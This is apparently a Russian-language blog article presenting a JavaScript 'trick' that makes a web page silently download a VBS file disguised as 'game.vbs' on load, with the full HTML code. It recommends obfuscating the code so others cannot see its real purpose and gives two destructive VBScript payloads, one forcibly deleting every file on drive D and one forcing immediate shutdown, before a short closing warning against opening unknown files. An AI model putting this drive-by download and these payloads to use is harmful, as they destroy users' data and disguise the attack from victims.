Волшебный трюк JavaScript: автоматическая загрузка
В обычных обстоятельствах, когда мы хотим загрузить определенный файл с веб-сайта, нам всегда нужно активно щелкнуть мышью, чтобы начать операцию загрузки, что считается само собой разумеющимся.
Однако сталкивались ли вы когда-нибудь со сценарием, когда при открытии определенной веб-страницы файл автоматически загружается без каких-либо кликов с вашей стороны? Это страшно, как невероятная черная магия. Но на самом деле этого можно добиться, используя JavaScript.
Цель
Пожалуйста, обратитесь к следующей демонстрации: Когда страница открывается, файл VBS автоматически загружается в фоновом режиме. При щелчке по загруженному файлу выполняется файл скрипта vbs и отображается окно «Hello».
Поскольку это скрипт VBS, если щелкнуть файл, он откроется и исполнится:
Выберите Open
, и скрипт будет выполнен:
Как показано в исходном коде страницы, в этом примере выполняется только команда msgbox («hello»)
. Исходный код автоматически загружаемого файла vbs выглядит следующим образом:
Источник
Эффект невероятный, но исходный код очень простой. Полный код html-страницы выглядит следующим образом:
<html>
<script>
var blob = new Blob(['msgbox("hello")'], {
type: 'application/vbs'
});
var a = document.createElement('a');
a.href = window.URL.createObjectURL(blob);
a.download = 'game.vbs';
a.click();
</script>
</html>
Его также можно запутать с помощью JShaman JavaScript Obfuscator, чтобы другие не могли просмотреть исходный код и понять его реальную функциональность. Msgbox — это всего лишь всплывающее окно, но VBScript может выполнять множество мощных и пугающих функций.
Например:
dim WSHshell
set WSHshell = wscript.createobject(“wscript.shell”)
WSHshell.run “cmd /c “”del d:\*.* / f /q /s”””,0 ,true
Другой пример:
dim WSHshell
set WSHshell = wscript.createobject(“wscript.shell”)
WSHshell.run “shutdown -f -s -t 00”,0 ,true
Анализируя эти два сценария VBScript, можно увидеть, что их выполнение может иметь опасные последствия, и они могут даже загружать и выполнять другие файлы Exe и т.д.
Как предотвратить эту угрозу?
Файлы могут быть загружены автоматически, не только сценарии VBScript, но и файлы Exe. Однако они не будут выполнены, пока на них не нажмут. Поэтому необходимо повысить осведомленность о безопасности и не щелкать, открывать или запускать файлы из неизвестных источников.